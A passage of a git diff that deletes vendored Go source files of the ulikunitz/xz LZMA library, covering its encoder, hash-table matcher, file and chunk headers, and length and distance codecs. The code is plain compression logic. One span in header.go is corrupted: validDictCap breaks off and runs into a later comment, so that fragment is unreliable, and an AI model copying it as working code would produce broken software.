equals distance - if posSlot < startPosModel { - return posSlot, nil - } - - // posSlot uses the individual models - bits := (posSlot >> 1) - 1 - dist = (2 | (posSlot & 1)) << bits - var u uint32 - if posSlot < endPosModel { - tc := &dc.posModel[posSlot-startPosModel] - if u, err = tc.Decode(d); err != nil { - return 0, err - } - dist += u - return dist, nil - } - - // posSlots use direct encoding and a single model for the four align - // bits. - dic := directCodec(bits - alignBits) - if u, err = dic.Decode(d); err != nil { - return 0, err - } - dist += u << alignBits - if u, err = dc.alignCodec.Decode(d); err != nil { - return 0, err - } - dist += u - return dist, nil -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/encoder.go b/vendor/github.com/ulikunitz/xz/lzma/encoder.go deleted file mode 100644 index fe1900a66e..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/encoder.go +++ /dev/null @@ -1,268 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "fmt" - "io" -) - -// opLenMargin provides the upper limit of the number of bytes required -// to encode a single operation. -const opLenMargin = 16 - -// compressFlags control the compression process. -type compressFlags uint32 - -// Values for compressFlags. -const ( - // all data should be compressed, even if compression is not - // optimal. - all compressFlags = 1 << iota -) - -// encoderFlags provide the flags for an encoder. -type encoderFlags uint32 - -// Flags for the encoder. -const ( - // eosMarker requests an EOS marker to be written. - eosMarker encoderFlags = 1 << iota -) - -// Encoder compresses data buffered in the encoder dictionary and writes -// it into a byte writer. -type encoder struct { - dict *encoderDict - state *state - re *rangeEncoder - start int64 - // generate eos marker - marker bool - limit bool - margin int -} - -// newEncoder creates a new encoder. If the byte writer must be -// limited use LimitedByteWriter provided by this package. The flags -// argument supports the eosMarker flag, controlling whether a -// terminating end-of-stream marker must be written. -func newEncoder(bw io.ByteWriter, state *state, dict *encoderDict, - flags encoderFlags) (e *encoder, err error) { - - re, err := newRangeEncoder(bw) - if err != nil { - return nil, err - } - e = &encoder{ - dict: dict, - state: state, - re: re, - marker: flags&eosMarker != 0, - start: dict.Pos(), - margin: opLenMargin, - } - if e.marker { - e.margin += 5 - } - return e, nil -} - -// Write writes the bytes from p into the dictionary. If not enough -// space is available the data in the dictionary buffer will be -// compressed to make additional space available. If the limit of the -// underlying writer has been reached ErrLimit will be returned. -func (e *encoder) Write(p []byte) (n int, err error) { - for { - k, err := e.dict.Write(p[n:]) - n += k - if err == ErrNoSpace { - if err = e.compress(0); err != nil { - return n, err - } - continue - } - return n, err - } -} - -// Reopen reopens the encoder with a new byte writer. -func (e *encoder) Reopen(bw io.ByteWriter) error { - var err error - if e.re, err = newRangeEncoder(bw); err != nil { - return err - } - e.start = e.dict.Pos() - e.limit = false - return nil -} - -// writeLiteral writes a literal into the LZMA stream -func (e *encoder) writeLiteral(l lit) error { - var err error - state, state2, _ := e.state.states(e.dict.Pos()) - if err = e.state.isMatch[state2].Encode(e.re, 0); err != nil { - return err - } - litState := e.state.litState(e.dict.ByteAt(1), e.dict.Pos()) - match := e.dict.ByteAt(int(e.state.rep[0]) + 1) - err = e.state.litCodec.Encode(e.re, l.b, state, match, litState) - if err != nil { - return err - } - e.state.updateStateLiteral() - return nil -} - -// iverson implements the Iverson operator as proposed by Donald Knuth in his -// book Concrete Mathematics. -func iverson(ok bool) uint32 { - if ok { - return 1 - } - return 0 -} - -// writeMatch writes a repetition operation into the operation stream -func (e *encoder) writeMatch(m match) error { - var err error - if !(minDistance <= m.distance && m.distance <= maxDistance) { - panic(fmt.Errorf("match distance %d out of range", m.distance)) - } - dist := uint32(m.distance - minDistance) - if !(minMatchLen <= m.n && m.n <= maxMatchLen) && - !(dist == e.state.rep[0] && m.n == 1) { - panic(fmt.Errorf( - "match length %d out of range; dist %d rep[0] %d", - m.n, dist, e.state.rep[0])) - } - state, state2, posState := e.state.states(e.dict.Pos()) - if err = e.state.isMatch[state2].Encode(e.re, 1); err != nil { - return err - } - g := 0 - for ; g < 4; g++ { - if e.state.rep[g] == dist { - break - } - } - b := iverson(g < 4) - if err = e.state.isRep[state].Encode(e.re, b); err != nil { - return err - } - n := uint32(m.n - minMatchLen) - if b == 0 { - // simple match - e.state.rep[3], e.state.rep[2], e.state.rep[1], e.state.rep[0] = - e.state.rep[2], e.state.rep[1], e.state.rep[0], dist - e.state.updateStateMatch() - if err = e.state.lenCodec.Encode(e.re, n, posState); err != nil { - return err - } - return e.state.distCodec.Encode(e.re, dist, n) - } - b = iverson(g != 0) - if err = e.state.isRepG0[state].Encode(e.re, b); err != nil { - return err - } - if b == 0 { - // g == 0 - b = iverson(m.n != 1) - if err = e.state.isRepG0Long[state2].Encode(e.re, b); err != nil { - return err - } - if b == 0 { - e.state.updateStateShortRep() - return nil - } - } else { - // g in {1,2,3} - b = iverson(g != 1) - if err = e.state.isRepG1[state].Encode(e.re, b); err != nil { - return err - } - if b == 1 { - // g in {2,3} - b = iverson(g != 2) - err = e.state.isRepG2[state].Encode(e.re, b) - if err != nil { - return err - } - if b == 1 { - e.state.rep[3] = e.state.rep[2] - } - e.state.rep[2] = e.state.rep[1] - } - e.state.rep[1] = e.state.rep[0] - e.state.rep[0] = dist - } - e.state.updateStateRep() - return e.state.repLenCodec.Encode(e.re, n, posState) -} - -// writeOp writes a single operation to the range encoder. The function -// checks whether there is enough space available to close the LZMA -// stream. -func (e *encoder) writeOp(op operation) error { - if e.re.Available() < int64(e.margin) { - return ErrLimit - } - switch x := op.(type) { - case lit: - return e.writeLiteral(x) - case match: - return e.writeMatch(x) - default: - panic("unexpected operation") - } -} - -// compress compressed data from the dictionary buffer. If the flag all -// is set, all data in the dictionary buffer will be compressed. The -// function returns ErrLimit if the underlying writer has reached its -// limit. -func (e *encoder) compress(flags compressFlags) error { - n := 0 - if flags&all == 0 { - n = maxMatchLen - 1 - } - d := e.dict - m := d.m - for d.Buffered() > n { - op := m.NextOp(e.state.rep) - if err := e.writeOp(op); err != nil { - return err - } - d.Discard(op.Len()) - } - return nil -} - -// eosMatch is a pseudo operation that indicates the end of the stream. -var eosMatch = match{distance: maxDistance, n: minMatchLen} - -// Close terminates the LZMA stream. If requested the end-of-stream -// marker will be written. If the byte writer limit has been or will be -// reached during compression of the remaining data in the buffer the -// LZMA stream will be closed and data will remain in the buffer. -func (e *encoder) Close() error { - err := e.compress(all) - if err != nil && err != ErrLimit { - return err - } - if e.marker { - if err := e.writeMatch(eosMatch); err != nil { - return err - } - } - err = e.re.Close() - return err -} - -// Compressed returns the number bytes of the input data that been -// compressed. -func (e *encoder) Compressed() int64 { - return e.dict.Pos() - e.start -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/encoderdict.go b/vendor/github.com/ulikunitz/xz/lzma/encoderdict.go deleted file mode 100644 index 9d0fbc7033..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/encoderdict.go +++ /dev/null @@ -1,149 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" - "io" -) - -// matcher is an interface that supports the identification of the next -// operation. -type matcher interface { - io.Writer - SetDict(d *encoderDict) - NextOp(rep [4]uint32) operation -} - -// encoderDict provides the dictionary of the encoder. It includes an -// addtional buffer atop of the actual dictionary. -type encoderDict struct { - buf buffer - m matcher - head int64 - capacity int - // preallocated array - data [maxMatchLen]byte -} - -// newEncoderDict creates the encoder dictionary. The argument bufSize -// defines the size of the additional buffer. -func newEncoderDict(dictCap, bufSize int, m matcher) (d *encoderDict, err error) { - if !(1 <= dictCap && int64(dictCap) <= MaxDictCap) { - return nil, errors.New( - "lzma: dictionary capacity out of range") - } - if bufSize < 1 { - return nil, errors.New( - "lzma: buffer size must be larger than zero") - } - d = &encoderDict{ - buf: *newBuffer(dictCap + bufSize), - capacity: dictCap, - m: m, - } - m.SetDict(d) - return d, nil -} - -// Discard discards n bytes. Note that n must not be larger than -// MaxMatchLen. -func (d *encoderDict) Discard(n int) { - p := d.data[:n] - k, _ := d.buf.Read(p) - if k < n { - panic(fmt.Errorf("lzma: can't discard %d bytes", n)) - } - d.head += int64(n) - d.m.Write(p) -} - -// Len returns the data available in the encoder dictionary. -func (d *encoderDict) Len() int { - n := d.buf.Available() - if int64(n) > d.head { - return int(d.head) - } - return n -} - -// DictLen returns the actual length of data in the dictionary. -func (d *encoderDict) DictLen() int { - if d.head < int64(d.capacity) { - return int(d.head) - } - return d.capacity -} - -// Available returns the number of bytes that can be written by a -// following Write call. -func (d *encoderDict) Available() int { - return d.buf.Available() - d.DictLen() -} - -// Write writes data into the dictionary buffer. Note that the position -// of the dictionary head will not be moved. If there is not enough -// space in the buffer ErrNoSpace will be returned. -func (d *encoderDict) Write(p []byte) (n int, err error) { - m := d.Available() - if len(p) > m { - p = p[:m] - err = ErrNoSpace - } - var e error - if n, e = d.buf.Write(p); e != nil { - err = e - } - return n, err -} - -// Pos returns the position of the head. -func (d *encoderDict) Pos() int64 { return d.head } - -// ByteAt returns the byte at the given distance. -func (d *encoderDict) ByteAt(distance int) byte { - if !(0 < distance && distance <= d.Len()) { - return 0 - } - i := d.buf.rear - distance - if i < 0 { - i += len(d.buf.data) - } - return d.buf.data[i] -} - -// CopyN copies the last n bytes from the dictionary into the provided -// writer. This is used for copying uncompressed data into an -// uncompressed segment. -func (d *encoderDict) CopyN(w io.Writer, n int) (written int, err error) { - if n <= 0 { - return 0, nil - } - m := d.Len() - if n > m { - n = m - err = ErrNoSpace - } - i := d.buf.rear - n - var e error - if i < 0 { - i += len(d.buf.data) - if written, e = w.Write(d.buf.data[i:]); e != nil { - return written, e - } - i = 0 - } - var k int - k, e = w.Write(d.buf.data[i:d.buf.rear]) - written += k - if e != nil { - err = e - } - return written, err -} - -// Buffered returns the number of bytes in the buffer. -func (d *encoderDict) Buffered() int { return d.buf.Buffered() } diff --git a/vendor/github.com/ulikunitz/xz/lzma/fox.lzma b/vendor/github.com/ulikunitz/xz/lzma/fox.lzma deleted file mode 100644 index 5edad63326..0000000000 Binary files a/vendor/github.com/ulikunitz/xz/lzma/fox.lzma and /dev/null differ diff --git a/vendor/github.com/ulikunitz/xz/lzma/hashtable.go b/vendor/github.com/ulikunitz/xz/lzma/hashtable.go deleted file mode 100644 index d786a9745d..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/hashtable.go +++ /dev/null @@ -1,309 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" - - "github.com/ulikunitz/xz/internal/hash" -) - -/* For compression we need to find byte sequences that match the byte - * sequence at the dictionary head. A hash table is a simple method to - * provide this capability. - */ - -// maxMatches limits the number of matches requested from the Matches -// function. This controls the speed of the overall encoding. -const maxMatches = 16 - -// shortDists defines the number of short distances supported by the -// implementation. -const shortDists = 8 - -// The minimum is somehow arbitrary but the maximum is limited by the -// memory requirements of the hash table. -const ( - minTableExponent = 9 - maxTableExponent = 20 -) - -// newRoller contains the function used to create an instance of the -// hash.Roller. -var newRoller = func(n int) hash.Roller { return hash.NewCyclicPoly(n) } - -// hashTable stores the hash table including the rolling hash method. -// -// We implement chained hashing into a circular buffer. Each entry in -// the circular buffer stores the delta distance to the next position with a -// word that has the same hash value. -type hashTable struct { - dict *encoderDict - // actual hash table - t []int64 - // circular list data with the offset to the next word - data []uint32 - front int - // mask for computing the index for the hash table - mask uint64 - // hash offset; initial value is -int64(wordLen) - hoff int64 - // length of the hashed word - wordLen int - // hash roller for computing the hash values for the Write - // method - wr hash.Roller - // hash roller for computing arbitrary hashes - hr hash.Roller - // preallocated slices - p [maxMatches]int64 - distances [maxMatches + shortDists]int -} - -// hashTableExponent derives the hash table exponent from the dictionary -// capacity. -func hashTableExponent(n uint32) int { - e := 30 - nlz32(n) - switch { - case e < minTableExponent: - e = minTableExponent - case e > maxTableExponent: - e = maxTableExponent - } - return e -} - -// newHashTable creates a new hash table for words of length wordLen -func newHashTable(capacity int, wordLen int) (t *hashTable, err error) { - if !(0 < capacity) { - return nil, errors.New( - "newHashTable: capacity must not be negative") - } - exp := hashTableExponent(uint32(capacity)) - if !(1 <= wordLen && wordLen <= 4) { - return nil, errors.New("newHashTable: " + - "argument wordLen out of range") - } - n := 1 << uint(exp) - if n <= 0 { - panic("newHashTable: exponent is too large") - } - t = &hashTable{ - t: make([]int64, n), - data: make([]uint32, capacity), - mask: (uint64(1) << uint(exp)) - 1, - hoff: -int64(wordLen), - wordLen: wordLen, - wr: newRoller(wordLen), - hr: newRoller(wordLen), - } - return t, nil -} - -func (t *hashTable) SetDict(d *encoderDict) { t.dict = d } - -// buffered returns the number of bytes that are currently hashed. -func (t *hashTable) buffered() int { - n := t.hoff + 1 - switch { - case n <= 0: - return 0 - case n >= int64(len(t.data)): - return len(t.data) - } - return int(n) -} - -// addIndex adds n to an index ensuring that is stays inside the -// circular buffer for the hash chain. -func (t *hashTable) addIndex(i, n int) int { - i += n - len(t.data) - if i < 0 { - i += len(t.data) - } - return i -} - -// putDelta puts the delta instance at the current front of the circular -// chain buffer. -func (t *hashTable) putDelta(delta uint32) { - t.data[t.front] = delta - t.front = t.addIndex(t.front, 1) -} - -// putEntry puts a new entry into the hash table. If there is already a -// value stored it is moved into the circular chain buffer. -func (t *hashTable) putEntry(h uint64, pos int64) { - if pos < 0 { - return - } - i := h & t.mask - old := t.t[i] - 1 - t.t[i] = pos + 1 - var delta int64 - if old >= 0 { - delta = pos - old - if delta > 1<<32-1 || delta > int64(t.buffered()) { - delta = 0 - } - } - t.putDelta(uint32(delta)) -} - -// WriteByte converts a single byte into a hash and puts them into the hash -// table. -func (t *hashTable) WriteByte(b byte) error { - h := t.wr.RollByte(b) - t.hoff++ - t.putEntry(h, t.hoff) - return nil -} - -// Write converts the bytes provided into hash tables and stores the -// abbreviated offsets into the hash table. The method will never return an -// error. -func (t *hashTable) Write(p []byte) (n int, err error) { - for _, b := range p { - // WriteByte doesn't generate an error. - t.WriteByte(b) - } - return len(p), nil -} - -// getMatches the matches for a specific hash. The functions returns the -// number of positions found. -// -// TODO: Make a getDistances because that we are actually interested in. -func (t *hashTable) getMatches(h uint64, positions []int64) (n int) { - if t.hoff < 0 || len(positions) == 0 { - return 0 - } - buffered := t.buffered() - tailPos := t.hoff + 1 - int64(buffered) - rear := t.front - buffered - if rear >= 0 { - rear -= len(t.data) - } - // get the slot for the hash - pos := t.t[h&t.mask] - 1 - delta := pos - tailPos - for { - if delta < 0 { - return n - } - positions[n] = tailPos + delta - n++ - if n >= len(positions) { - return n - } - i := rear + int(delta) - if i < 0 { - i += len(t.data) - } - u := t.data[i] - if u == 0 { - return n - } - delta -= int64(u) - } -} - -// hash computes the rolling hash for the word stored in p. For correct -// results its length must be equal to t.wordLen. -func (t *hashTable) hash(p []byte) uint64 { - var h uint64 - for _, b := range p { - h = t.hr.RollByte(b) - } - return h -} - -// Matches fills the positions slice with potential matches. The -// functions returns the number of positions filled into positions. The -// byte slice p must have word length of the hash table. -func (t *hashTable) Matches(p []byte, positions []int64) int { - if len(p) != t.wordLen { - panic(fmt.Errorf( - "byte slice must have length %d", t.wordLen)) - } - h := t.hash(p) - return t.getMatches(h, positions) -} - -// NextOp identifies the next operation using the hash table. -// -// TODO: Use all repetitions to find matches. -func (t *hashTable) NextOp(rep [4]uint32) operation { - // get positions - data := t.dict.data[:maxMatchLen] - n, _ := t.dict.buf.Peek(data) - data = data[:n] - var p []int64 - if n < t.wordLen { - p = t.p[:0] - } else { - p = t.p[:maxMatches] - n = t.Matches(data[:t.wordLen], p) - p = p[:n] - } - - // convert positions in potential distances - head := t.dict.head - dists := append(t.distances[:0], 1, 2, 3, 4, 5, 6, 7, 8) - for _, pos := range p { - dis := int(head - pos) - if dis > shortDists { - dists = append(dists, dis) - } - } - - // check distances - var m match - dictLen := t.dict.DictLen() - for _, dist := range dists { - if dist > dictLen { - continue - } - - // Here comes a trick. We are only interested in matches - // that are longer than the matches we have been found - // before. So before we test the whole byte sequence at - // the given distance, we test the first byte that would - // make the match longer. If it doesn't match the byte - // to match, we don't to care any longer. - i := t.dict.buf.rear - dist + m.n - if i < 0 { - i += len(t.dict.buf.data) - } - if t.dict.buf.data[i] != data[m.n] { - // We can't get a longer match. Jump to the next - // distance. - continue - } - - n := t.dict.buf.matchLen(dist, data) - switch n { - case 0: - continue - case 1: - if uint32(dist-minDistance) != rep[0] { - continue - } - } - if n > m.n { - m = match{int64(dist), n} - if n == len(data) { - // No better match will be found. - break - } - } - } - - if m.n == 0 { - return lit{data[0]} - } - return m -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/header.go b/vendor/github.com/ulikunitz/xz/lzma/header.go deleted file mode 100644 index bc708969fd..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/header.go +++ /dev/null @@ -1,167 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" -) - -// uint32LE reads an uint32 integer from a byte slice -func uint32LE(b []byte) uint32 { - x := uint32(b[3]) << 24 - x |= uint32(b[2]) << 16 - x |= uint32(b[1]) << 8 - x |= uint32(b[0]) - return x -} - -// uint64LE converts the uint64 value stored as little endian to an uint64 -// value. -func uint64LE(b []byte) uint64 { - x := uint64(b[7]) << 56 - x |= uint64(b[6]) << 48 - x |= uint64(b[5]) << 40 - x |= uint64(b[4]) << 32 - x |= uint64(b[3]) << 24 - x |= uint64(b[2]) << 16 - x |= uint64(b[1]) << 8 - x |= uint64(b[0]) - return x -} - -// putUint32LE puts an uint32 integer into a byte slice that must have at least -// a length of 4 bytes. -func putUint32LE(b []byte, x uint32) { - b[0] = byte(x) - b[1] = byte(x >> 8) - b[2] = byte(x >> 16) - b[3] = byte(x >> 24) -} - -// putUint64LE puts the uint64 value into the byte slice as little endian -// value. The byte slice b must have at least place for 8 bytes. -func putUint64LE(b []byte, x uint64) { - b[0] = byte(x) - b[1] = byte(x >> 8) - b[2] = byte(x >> 16) - b[3] = byte(x >> 24) - b[4] = byte(x >> 32) - b[5] = byte(x >> 40) - b[6] = byte(x >> 48) - b[7] = byte(x >> 56) -} - -// noHeaderSize defines the value of the length field in the LZMA header. -const noHeaderSize uint64 = 1<<64 - 1 - -// HeaderLen provides the length of the LZMA file header. -const HeaderLen = 13 - -// header represents the header of an LZMA file. -type header struct { - properties Properties - dictCap int - // uncompressed size; negative value if no size is given - size int64 -} - -// marshalBinary marshals the header. -func (h *header) marshalBinary() (data []byte, err error) { - if err = h.properties.verify(); err != nil { - return nil, err - } - if !(0 <= h.dictCap && int64(h.dictCap) <= MaxDictCap) { - return nil, fmt.Errorf("lzma: DictCap %d out of range", - h.dictCap) - } - - data = make([]byte, 13) - - // property byte - data[0] = h.properties.Code() - - // dictionary capacity - putUint32LE(data[1:5], uint32(h.dictCap)) - - // uncompressed size - var s uint64 - if h.size > 0 { - s = uint64(h.size) - } else { - s = noHeaderSize - } - putUint64LE(data[5:], s) - - return data, nil -} - -// unmarshalBinary unmarshals the header. -func (h *header) unmarshalBinary(data []byte) error { - if len(data) != HeaderLen { - return errors.New("lzma.unmarshalBinary: data has wrong length") - } - - // properties - var err error - if h.properties, err = PropertiesForCode(data[0]); err != nil { - return err - } - - // dictionary capacity - h.dictCap = int(uint32LE(data[1:])) - if h.dictCap < 0 { - return errors.New( - "LZMA header: dictionary capacity exceeds maximum " + - "integer") - } - - // uncompressed size - s := uint64LE(data[5:]) - if s == noHeaderSize { - h.size = -1 - } else { - h.size = int64(s) - if h.size < 0 { - return errors.New( - "LZMA header: uncompressed size " + - "out of int64 range") - } - } - - return nil -} - -// validDictCap checks whether the dictionary capacity is correct. This -// is used to weed out wrong file headers. -func validDictCap(dictcap int) bool { - if int64(dictcap) == MaxDictCap { - return true - } - for n := uint(10); n < 32; n++ { - if dictcap == 1<= 10 or 2^32-1. If -// there is an explicit size it must not exceed 256 GiB. The length of -// the data argument must be HeaderLen. -func ValidHeader(data []byte) bool { - var h header - if err := h.unmarshalBinary(data); err != nil { - return false - } - if !validDictCap(h.dictCap) { - return false - } - return h.size < 0 || h.size <= 1<<38 -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/header2.go b/vendor/github.com/ulikunitz/xz/lzma/header2.go deleted file mode 100644 index ac6a71a5a9..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/header2.go +++ /dev/null @@ -1,398 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "errors" - "fmt" - "io" -) - -const ( - // maximum size of compressed data in a chunk - maxCompressed = 1 << 16 - // maximum size of uncompressed data in a chunk - maxUncompressed = 1 << 21 -) - -// chunkType represents the type of an LZMA2 chunk. Note that this -// value is an internal representation and no actual encoding of a LZMA2 -// chunk header. -type chunkType byte - -// Possible values for the chunk type. -const ( - // end of stream - cEOS chunkType = iota - // uncompressed; reset dictionary - cUD - // uncompressed; no reset of dictionary - cU - // LZMA compressed; no reset - cL - // LZMA compressed; reset state - cLR - // LZMA compressed; reset state; new property value - cLRN - // LZMA compressed; reset state; new property value; reset dictionary - cLRND -) - -// chunkTypeStrings provide a string representation for the chunk types. -var chunkTypeStrings = [...]string{ - cEOS: "EOS", - cU: "U", - cUD: "UD", - cL: "L", - cLR: "LR", - cLRN: "LRN", - cLRND: "LRND", -} - -// String returns a string representation of the chunk type. -func (c chunkType) String() string { - if !(cEOS <= c && c <= cLRND) { - return "unknown" - } - return chunkTypeStrings[c] -} - -// Actual encodings for the chunk types in the value. Note that the high -// uncompressed size bits are stored in the header byte additionally. -const ( - hEOS = 0 - hUD = 1 - hU = 2 - hL = 1 << 7 - hLR = 1<<7 | 1<<5 - hLRN = 1<<7 | 1<<6 - hLRND = 1<<7 | 1<<6 | 1<<5 -) - -// errHeaderByte indicates an unsupported value for the chunk header -// byte. These bytes starts the variable-length chunk header. -var errHeaderByte = errors.New("lzma: unsupported chunk header byte") - -// headerChunkType converts the header byte into a chunk type. It -// ignores the uncompressed size bits in the chunk header byte. -func headerChunkType(h byte) (c chunkType, err error) { - if h&hL == 0 { - // no compression - switch h { - case hEOS: - c = cEOS - case hUD: - c = cUD - case hU: - c = cU - default: - return 0, errHeaderByte - } - return - } - switch h & hLRND { - case hL: - c = cL - case hLR: - c = cLR - case hLRN: - c = cLRN - case hLRND: - c = cLRND - default: - return 0, errHeaderByte - } - return -} - -// uncompressedHeaderLen provides the length of an uncompressed header -const uncompressedHeaderLen = 3 - -// headerLen returns the length of the LZMA2 header for a given chunk -// type. -func headerLen(c chunkType) int { - switch c { - case cEOS: - return 1 - case cU, cUD: - return uncompressedHeaderLen - case cL, cLR: - return 5 - case cLRN, cLRND: - return 6 - } - panic(fmt.Errorf("unsupported chunk type %d", c)) -} - -// chunkHeader represents the contents of a chunk header. -type chunkHeader struct { - ctype chunkType - uncompressed uint32 - compressed uint16 - props Properties -} - -// String returns a string representation of the chunk header. -func (h *chunkHeader) String() string { - return fmt.Sprintf("%s %d %d %s", h.ctype, h.uncompressed, - h.compressed, &h.props) -} - -// UnmarshalBinary reads the content of the chunk header from the data -// slice. The slice must have the correct length. -func (h *chunkHeader) UnmarshalBinary(data []byte) error { - if len(data) == 0 { - return errors.New("no data") - } - c, err := headerChunkType(data[0]) - if err != nil { - return err - } - - n := headerLen(c) - if len(data) < n { - return errors.New("incomplete data") - } - if len(data) > n { - return errors.New("invalid data length") - } - - *h = chunkHeader{ctype: c} - if c == cEOS { - return nil - } - - h.uncompressed = uint32(uint16BE(data[1:3])) - if c <= cU { - return nil - } - h.uncompressed |= uint32(data[0]&^hLRND) << 16 - - h.compressed = uint16BE(data[3:5]) - if c <= cLR { - return nil - } - - h.props, err = PropertiesForCode(data[5]) - return err -} - -// MarshalBinary encodes the chunk header value. The function checks -// whether the content of the chunk header is correct. -func (h *chunkHeader) MarshalBinary() (data []byte, err error) { - if h.ctype > cLRND { - return nil, errors.New("invalid chunk type") - } - if err = h.props.verify(); err != nil { - return nil, err - } - - data = make([]byte, headerLen(h.ctype)) - - switch h.ctype { - case cEOS: - return data, nil - case cUD: - data[0] = hUD - case cU: - data[0] = hU - case cL: - data[0] = hL - case cLR: - data[0] = hLR - case cLRN: - data[0] = hLRN - case cLRND: - data[0] = hLRND - } - - putUint16BE(data[1:3], uint16(h.uncompressed)) - if h.ctype <= cU { - return data, nil - } - data[0] |= byte(h.uncompressed>>16) &^ hLRND - - putUint16BE(data[3:5], h.compressed) - if h.ctype <= cLR { - return data, nil - } - - data[5] = h.props.Code() - return data, nil -} - -// readChunkHeader reads the chunk header from the IO reader. -func readChunkHeader(r io.Reader) (h *chunkHeader, err error) { - p := make([]byte, 1, 6) - if _, err = io.ReadFull(r, p); err != nil { - return - } - c, err := headerChunkType(p[0]) - if err != nil { - return - } - p = p[:headerLen(c)] - if _, err = io.ReadFull(r, p[1:]); err != nil { - return - } - h = new(chunkHeader) - if err = h.UnmarshalBinary(p); err != nil { - return nil, err - } - return h, nil -} - -// uint16BE converts a big-endian uint16 representation to an uint16 -// value. -func uint16BE(p []byte) uint16 { - return uint16(p[0])<<8 | uint16(p[1]) -} - -// putUint16BE puts the big-endian uint16 presentation into the given -// slice. -func putUint16BE(p []byte, x uint16) { - p[0] = byte(x >> 8) - p[1] = byte(x) -} - -// chunkState is used to manage the state of the chunks -type chunkState byte - -// start and stop define the initial and terminating state of the chunk -// state -const ( - start chunkState = 'S' - stop = 'T' -) - -// errors for the chunk state handling -var ( - errChunkType = errors.New("lzma: unexpected chunk type") - errState = errors.New("lzma: wrong chunk state") -) - -// next transitions state based on chunk type input -func (c *chunkState) next(ctype chunkType) error { - switch *c { - // start state - case 'S': - switch ctype { - case cEOS: - *c = 'T' - case cUD: - *c = 'R' - case cLRND: - *c = 'L' - default: - return errChunkType - } - // normal LZMA mode - case 'L': - switch ctype { - case cEOS: - *c = 'T' - case cUD: - *c = 'R' - case cU: - *c = 'U' - case cL, cLR, cLRN, cLRND: - break - default: - return errChunkType - } - // reset required - case 'R': - switch ctype { - case cEOS: - *c = 'T' - case cUD, cU: - break - case cLRN, cLRND: - *c = 'L' - default: - return errChunkType - } - // uncompressed - case 'U': - switch ctype { - case cEOS: - *c = 'T' - case cUD: - *c = 'R' - case cU: - break - case cL, cLR, cLRN, cLRND: - *c = 'L' - default: - return errChunkType - } - // terminal state - case 'T': - return errChunkType - default: - return errState - } - return nil -} - -// defaultChunkType returns the default chunk type for each chunk state. -func (c chunkState) defaultChunkType() chunkType { - switch c { - case 'S': - return cLRND - case 'L', 'U': - return cL - case 'R': - return cLRN - default: - // no error - return cEOS - } -} - -// maxDictCap defines the maximum dictionary capacity supported by the -// LZMA2 dictionary capacity encoding. -const maxDictCap = 1<<32 - 1 - -// maxDictCapCode defines the maximum dictionary capacity code. -const maxDictCapCode = 40 - -// The function decodes the dictionary capacity byte, but doesn't change -// for the correct range of the given byte. -func decodeDictCap(c byte) int64 { - return (2 | int64(c)&1) << (11 + (c>>1)&0x1f) -} - -// DecodeDictCap decodes the encoded dictionary capacity. The function -// returns an error if the code is out of range. -func DecodeDictCap(c byte) (n int64, err error) { - if c >= maxDictCapCode { - if c == maxDictCapCode { - return maxDictCap, nil - } - return 0, errors.New("lzma: invalid dictionary size code") - } - return decodeDictCap(c), nil -} - -// EncodeDictCap encodes a dictionary capacity. The function returns the -// code for the capacity that is greater or equal n. If n exceeds the -// maximum support dictionary capacity, the maximum value is returned. -func EncodeDictCap(n int64) byte { - a, b := byte(0), byte(40) - for a < b { - c := a + (b-a)>>1 - m := decodeDictCap(c) - if n <= m { - if n == m { - return c - } - b = c - } else { - a = c + 1 - } - } - return a -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/lengthcodec.go b/vendor/github.com/ulikunitz/xz/lzma/lengthcodec.go deleted file mode 100644 index e517730924..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/lengthcodec.go +++ /dev/null @@ -1,129 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import "errors" - -// maxPosBits defines the number of bits of the position value that are used to -// to compute the posState value. The value is used to select the tree codec -// for length encoding and decoding. -const maxPosBits = 4 - -// minMatchLen and maxMatchLen give the minimum and maximum values for -// encoding and decoding length values. minMatchLen is also used as base -// for the encoded length values. -const ( - minMatchLen = 2 - maxMatchLen = minMatchLen + 16 + 256 - 1 -) - -// lengthCodec support the encoding of the length value. -type lengthCodec struct { - choice [2]prob - low [1 << maxPosBits]treeCodec - mid [1 << maxPosBits]treeCodec - high treeCodec -} - -// deepcopy initializes the lc value as deep copy of the source value. -func (lc *lengthCodec) deepcopy(src *lengthCodec) { - if lc == src { - return - } - lc.choice = src.choice - for i := range lc.low { - lc.low[i].deepcopy(&src.low[i]) - } - for i := range lc.mid { - lc.mid[i].deepcopy(&src.mid[i]) - } - lc.high.deepcopy(&src.high) -} - -// init initializes a new length codec. -func (lc *lengthCodec) init() { - for i := range lc.choice { - lc.choice[i] = probInit - } - for i := range lc.low { - lc.low[i] = makeTreeCodec(3) - } - for i := range lc.mid { - lc.mid[i] = makeTreeCodec(3) - } - lc.high = makeTreeCodec(8) -} - -// lBits gives the number of bits used for the encoding of the l value -// provided to the range encoder. -func lBits(l uint32) int { - switch { - case l < 8: - return 4 - case l < 16: - return 5 - default: - return 10 - } -} - -// Encode encodes the length offset. The length offset l can be compute by -// subtracting minMatchLen (2) from the actual length. -// -// l = length - minMatchLen -// -func (lc 